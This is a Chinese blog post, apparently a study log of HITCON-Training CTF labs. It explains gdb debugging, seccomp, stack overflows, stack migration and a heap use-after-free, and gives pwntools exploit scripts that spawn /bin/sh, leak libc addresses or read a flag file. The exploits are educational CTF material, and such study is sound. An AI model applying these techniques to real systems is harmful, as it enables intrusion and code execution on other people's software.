热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

hitcontraining学习记录(持续更新)

lab1-sysmagic其实是一道逆向题目,关键需要我们输入和buf变量相同的数字,随后进入循环得到flag。第一想法:直接抄他代码,写个脚本跑出flag!(想想把数据提取出来的
lab1-sysmagic

其实是一道逆向题目,关键需要我们输入和buf变量相同的数字,随后进入循环得到flag。第一想法:直接抄他代码,写个脚本跑出flag!(想想把数据提取出来的步骤emm实在是麻烦)更重要的是,我们的脚本就是程序的一部分,直接想办法让它执行一下拿来用就好了,所以更好的方法:

gdb调试动态调试程序的运行状态

几个常见指令:

  • 断点操作

    • 设置断点=> b 行号/函数名/*指令地址 | b 文件名:行号/函数名

    • 查看断点=> i/info b

    • 条件断点=> b 行号 if 变量==var

    • *删除断点=> d num(断点编号)

  • 执行调试程序

    • r 跑到第一个遇到断点的位置

    • start 运行一行并停止

    • n(next) 单步调试且不进入函数体

    • s(step) 单步调试且会进入函数体

    • until 从循环体中跳出

    • finish 跳出函数体

    • c(continue) 继续执行至下一个断点处

    • q(quit) 退出gdb调试

  • 设置操作

    • p 变量名 打印变量值

    • ptype 变量名 打印变量的类型

    • set var 变量名=value 设置变量值

所以,这道题:

gdb sysmagic
b *0x08048720
#没有开启PIE,地址固定
r 
set $edx=$eax
#关键:在动调中改变寄存器中变量的值
c
lab2-orw

32位反汇编,要求我们注入shellcode,但是在注入之前有这样的函数:orw_seccomp( )->

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]
  char *v2; // [esp+8h] [ebp-80h]
  char v3; // [esp+Ch] [ebp-7Ch]
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]
?
  v4 = __readgsdword(0x14u);
  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

其中,关键是prctl( )函数,它可以对进程进行控制,

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

大概了解了一下:

1.option 设置为 PR_SET_NO_NEW_PRIVS (对应数值为38)的话,第二个参数设置为 1 ,不能够进行 execve 的系统调用,也就是IDA中的这句:

prctl(38, 1, 0, 0, 0);

2.option为PR_SET_SECCOMP(22)时,如果arg2为SECCOMP_MODE _STRICT(1),则只允许调用read\write_exit等几个函数调用;如果arg2为SECCOMP_MODE_FILTER(2)时,则为过滤模式,其中对syscall的限制通过arv3用BPF(指向一个数组的指针)实现,也就是这一句:

prctl(22, 2, &v1);

所以这道题就是通过orw_seccomp( )函数对我们的shellcode进行了限制,我们只能使用open\read\write这几个函数进行读取flag文件,exp如下:

from pwn import *
context(log_level=debug)
context(arch=i386,os=linux)
p=process(./orw.bin)
payload=shellcraft.pushstr(./flag)
#必须是相对于当前进程的路径
payload+=shellcraft.open(esp)
payload+=shellcraft.read(eax,esp,0x10)
payload+=shellcraft.write(1,esp,0x10)
#ssize_t read(int fd, void *buf, size_t count);
#ssize_t write (int fd, const void * buf, size_t count); 
#读取的文件路径保存在了eax寄存器中
#open函数返回的文件内容存放在栈中
#栈顶指针取出0x10大小的内容输出到标准输出流中(1)(*buf和esp???)
#此处v爷爷是手写shellcode的,带我学一手汇编后再补上...
payload=asm(payload)
#将生成的shellcode进行汇编,生成机器码
p.recvuntil(shellcode:)
p.send(payload)
print p.recv()
#将获取的文件内容输出
lab3-ret2sc

这道题没有开启任何保护且32位反汇编:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]
?
  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets(&s);
}

可以看出应该是ret2shellcode类型,我们通过注入shellcode至数据段的Name,再利用gets( )函数实现栈溢出覆盖返回地址至Name的地址,执行shellcode,exp如下:

from pwn import *
context.log_level=debug
context(arch=i386,os=linux)
p=process(./ret2sc)
payload1=asm(shellcraft.sh())
p.recvuntil(Name:)
p.send(payload1)
payload2=a*32+p32(0x0804A060)
p.recvuntil("best:")
p.sendline(payload2)
p.interactive()

注:这道题的关键在于偏移量的计算,通过esp寻址的方式而非ebp寻址:

技术图片

(一)IDA查看

技术图片

故偏移量:0x1C+0x4=32

(二)gdb-peda

技术图片

gdb ret2sc
patten create xxx  #足够实现溢出的长度
r   #一直运行到需要查看偏移量的输入点,并输入刚刚生成的pattern
pattern search/pattern offset xxxx  #查看距离栈顶的偏移量,得到32
lab6-migration

考查点:

1.控制ebp,利用leave_ret指令(mov esp, ebp ; ret;)劫持程序流程。

2.栈溢出的字节数过少难以注入payload,栈迁移至bss段,构造伪栈帧从而执行程序,填充伪栈帧的ebp.

3.泄露puts函数地址,得到运行时libc中函数的偏移量

exp如下:

from pwn import *
context(log_level=debug,arch=i386)
p=process(./migration)
gdb.attach(p)
elf=ELF(./migration)
libc=elf.libc
?
#64-40=24/4=6 
bss_start=0x0804A00C
##
buf1_addr=bss_start+0x200
buf2_addr=bss_start+0x600##
read_plt=elf.plt[read]
puts_plt=elf.plt[puts]
puts_got=elf.got[puts]
leave_ret=0x08048418
##
ret_addr=0x0804836d  #pop_ebx_ret
payload=a*0x28+p32(buf1_addr)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1_addr)+p32(0x30)
#栈分布相同
#ebp+read+read_ret_addr+read_var
#leave-->mov esp,ebp;pop ebp
#fake_stack
?
#payload+=p32(buf2_addr)+p32(puts_plt)+p32(pop_edx_ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x30)
payload+=p32(buf2_addr)+p32(puts_plt)+p32(ret_addr)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x10)
#read_content
p.recvuntil(Try your best :\n)
p.sendline(payload)
sleep(1)
#ebp+put_addr+put_ret_addr+put_var+read_addr+read_ret_addr+read_var+read_content
puts_addr=u32(p.recv(4))
offset=puts_addr-libc.symbols[puts]
#the offset(between libc and real situation) is fixed 
system=offset+libc.symbols[system]
bin_sh_addr=offset+libc.search("/bin/sh").next()
payload2=p32(0)+p32(system)+p32(0)+p32(bin_sh_addr)
p.send(payload2)
p.interactive()
lab10-hacknote

查看反汇编,发现del_note( )函数中在free内存块后并没有将其设置为NULL,所以存在UAF漏洞。

同时,发现后门函数magic,读add_note( )函数,

技术图片

我们申请的chunk结构是这样的

技术图片

每次执行print_note()时便会调用前四个字节中的函数,所以我们希望能够将前四个字节覆盖成magic()。因此我们利用use after free,在free掉note之后,利用写入content内容将note的前四个字节覆盖成我们的magic函数地址。

下面借助调试进一步解释:

首先在两个malloc()和两个free()函数处下断点:

技术图片

第一次add中malloc后出现了note的内存块:

技术图片

第二次malloc处,输入size为16,content为‘aaaa\n‘后出现了content内存块,同时查看相应内存块中存储的内容可以发现note内存块中的前四个字节为print_note_content函数地址,后四个字节为content内存块的地址,而content内存块中则是输出的字符串内容:

技术图片

根据程序可以看出先释放content内存块,第一次free()后,的确在fastbin[2]处出现了第一个content内存块,回收free chunk:

技术图片

技术图片

接着释放第一个note内存块,在fastbin[0]处出现,同时查看两个内存块存储的内容,可以发现前四个字节都被存储成NULL,后四个字节没有进行修改:

技术图片

技术图片

技术图片

在两个note均被free后,可以看出在fastbin[0]和fastbin[2]处都形成了单链表,通过free_chunk的前四个字节存储bk*:

技术图片

技术图片

再次add后的第一个malloc函数后,可以看出从fastbin[0]的链表头处摘下一个chunk,也是free前申请的第二个note内存块,作为note内存块:

技术图片

输入size为8和content为‘xxxx\n‘后,原先申请的第一个note内存块作为了新的content内存块,查看相应内存中的内容可以看到与预期相符:

技术图片

当我们继续将该note打印出来的时候可以看到:

技术图片

程序在执行(EIP)我们输入的字符串时崩了,说明成功劫持程序流,exp如下:

from pwn import *
context(log_level=debug)
?
#p=remote()
p=process(./hacknote)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
def add(size,content):
    ru("Your choice :")
    sl(1)
    ru("Note size :")
    sl(str(size))
    ru("Content :")
    sl(content)
def delete(idx):
    ru("Your choice :")
    sl(2)
    ru("Index :")
    sl(str(idx))
def pri(idx):
    ru("Your choice :")
    sl(3)
    ru("Index :")
    sl(str(idx))
#任意字节数都可,但不能是8(note内存块的可用大小),因为如果是8的话,申请的note内存块和存储content的内存块都在同一个fastbin单链表中,再次add时会使用free掉的content内存块而不是note内存块,会出现奇怪的问题。
add(16,a)
add(16,b)
delete(0)
delete(1)
#magic=0x08048986 此处是因为所给程序中的路径无法cat查看,所以自己修改了hacknote.c文件
magic=0x08048A04
add(8,p32(magic))
pri(0)
p.interactive()

hitcon-training 学习记录(持续更新)


推荐阅读
  • 作为软件工程专业的学生,我深知课堂上教师讲解速度之快,很多时候需要课后自行消化和巩固。因此,撰写这篇Java Web开发入门教程,旨在帮助初学者更好地理解和掌握基础知识。通过详细记录学习过程,希望能为更多像我一样在基础方面还有待提升的学员提供有益的参考。 ... [详细]
  • 在探讨Hibernate框架的高级特性时,缓存机制和懒加载策略是提升数据操作效率的关键要素。缓存策略能够显著减少数据库访问次数,从而提高应用性能,特别是在处理频繁访问的数据时。Hibernate提供了多层次的缓存支持,包括一级缓存和二级缓存,以满足不同场景下的需求。懒加载策略则通过按需加载关联对象,进一步优化了资源利用和响应时间。本文将深入分析这些机制的实现原理及其最佳实践。 ... [详细]
  • ButterKnife 是一款用于 Android 开发的注解库,主要用于简化视图和事件绑定。本文详细介绍了 ButterKnife 的基础用法,包括如何通过注解实现字段和方法的绑定,以及在实际项目中的应用示例。此外,文章还提到了截至 2016 年 4 月 29 日,ButterKnife 的最新版本为 8.0.1,为开发者提供了最新的功能和性能优化。 ... [详细]
  • 本文详细介绍了使用 Python 进行 MySQL 和 Redis 数据库操作的实战技巧。首先,针对 MySQL 数据库,通过 `pymysql` 模块展示了如何连接和操作数据库,包括建立连接、执行查询和更新等常见操作。接着,文章深入探讨了 Redis 的基本命令和高级功能,如键值存储、列表操作和事务处理。此外,还提供了多个实际案例,帮助读者更好地理解和应用这些技术。 ... [详细]
  • 在 CentOS 6.5 系统上部署 VNC 服务器的详细步骤与配置指南
    在 CentOS 6.5 系统上部署 VNC 服务器时,首先需要确认 VNC 服务是否已安装。通常情况下,VNC 服务默认未安装。可以通过运行特定的查询命令来检查其安装状态。如果查询结果为空,则表明 VNC 服务尚未安装,需进行手动安装。此外,建议在安装前确保系统的软件包管理器已更新至最新版本,以避免兼容性问题。 ... [详细]
  • iOS 设备唯一标识获取的高效解决方案与实践
    在iOS 7中,苹果公司再次禁止了对MAC地址的访问,使得开发者无法直接获取设备的物理地址。为了在开发过程中实现设备的唯一标识,苹果推荐使用Keychain服务来存储和管理唯一的标识符。此外,还可以结合其他技术手段,如UUID和广告标识符(IDFA),以确保设备的唯一性和安全性。这些方法不仅能够满足应用的需求,还能保护用户的隐私。 ... [详细]
  • ### 摘要`mkdir` 命令用于在指定位置创建新的目录。其基本格式为 `mkdir [选项] 目录名称`。通过该命令,用户可以在文件系统中创建一个或多个以指定名称命名的文件夹。执行此操作的用户需要具备相应的权限。此外,`mkdir` 还支持多种选项,如 `-p` 用于递归创建多级目录,确保路径中的所有层级都存在。掌握这些基本用法和选项,有助于提高在 Linux 系统中的文件管理效率。 ... [详细]
  • 本文深入解析了Java面向对象编程的核心概念及其应用,重点探讨了面向对象的三大特性:封装、继承和多态。封装确保了数据的安全性和代码的可维护性;继承支持代码的重用和扩展;多态则增强了程序的灵活性和可扩展性。通过具体示例,文章详细阐述了这些特性在实际开发中的应用和优势。 ... [详细]
  • 单链表的高效遍历及性能优化策略
    本文探讨了单链表的高效遍历方法及其性能优化策略。在单链表的数据结构中,插入操作的时间复杂度为O(n),而遍历操作的时间复杂度为O(n^2)。通过在 `LinkList.h` 和 `main.cpp` 文件中对单链表进行封装,我们实现了创建和销毁功能的优化,提高了单链表的使用效率。此外,文章还介绍了几种常见的优化技术,如缓存节点指针和批量处理,以进一步提升遍历性能。 ... [详细]
  • 初探性能优化:入门指南与实践技巧
    在编程领域,常有“尚未精通编码便急于优化”的声音。为了从性能优化的角度提升代码质量,本文将带领读者初步探索性能优化的基本概念与实践技巧。即使程序看似运行良好,数据处理效率仍有待提高,通过系统学习性能优化,能够帮助开发者编写更加高效、稳定的代码。文章不仅介绍了性能优化的基础知识,还提供了实用的调优方法和工具,帮助读者在实际项目中应用这些技术。 ... [详细]
  • 如何高效地安装并配置 PostgreSQL 数据库系统?本文将详细介绍从下载到安装、配置环境变量、初始化数据库、以及优化性能的全过程,帮助读者快速掌握 PostgreSQL 的核心操作与最佳实践。文章还涵盖了常见问题的解决方案,确保用户在部署过程中能够顺利解决遇到的各种挑战。 ... [详细]
  • C# .NET 4.1 版本大型信息化系统集成平台中的主从表事务处理标准示例
    在C# .NET 4.1版本的大型信息化系统集成平台中,本文详细介绍了主从表事务处理的标准示例。通过确保所有操作要么全部成功,要么全部失败,实现主表和关联子表的同步插入。主表插入时会返回当前生成的主键,该主键随后用于子表插入时的关联。以下是一个示例代码片段,展示了如何在一个数据库事务中同时添加角色和相关用户。 ... [详细]
  • 在Android平台上,视频监控系统的优化与应用具有重要意义。尽管已有相关示例(如http:www.open-open.comlibviewopen1346400423609.html)展示了基本的监控功能实现,但若要提升系统的稳定性和性能,仍需进行深入研究和优化。本文探讨了如何通过改进算法、优化网络传输和增强用户界面来提高Android视频监控系统的整体效能,以满足更复杂的应用需求。 ... [详细]
  • 将解压缩版Tomcat集成至系统服务
    将解压缩版Tomcat集成至系统服务的方法如下:首先,在命令行中导航至Tomcat的`bin`目录,运行`service.bat install`命令以安装服务。需要注意的是,服务名称和显示名称已在`service.bat`脚本中预设,默认情况下会随不同版本有所变化。此外,建议检查并配置相关参数,确保服务能够稳定运行。 ... [详细]
  • AngularJS 进阶指南:第三部分深入解析
    在本文中,我们将深入探讨 AngularJS 的指令模型,特别是 `ng-model` 指令。`ng-model` 指令用于将 HTML 元素与应用程序数据进行双向绑定,支持多种数据类型验证,如数字、电子邮件地址和必填项检查。此外,我们还将介绍如何利用该指令优化表单验证和数据处理流程,提升开发效率和用户体验。 ... [详细]
author-avatar
hcl春丽
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有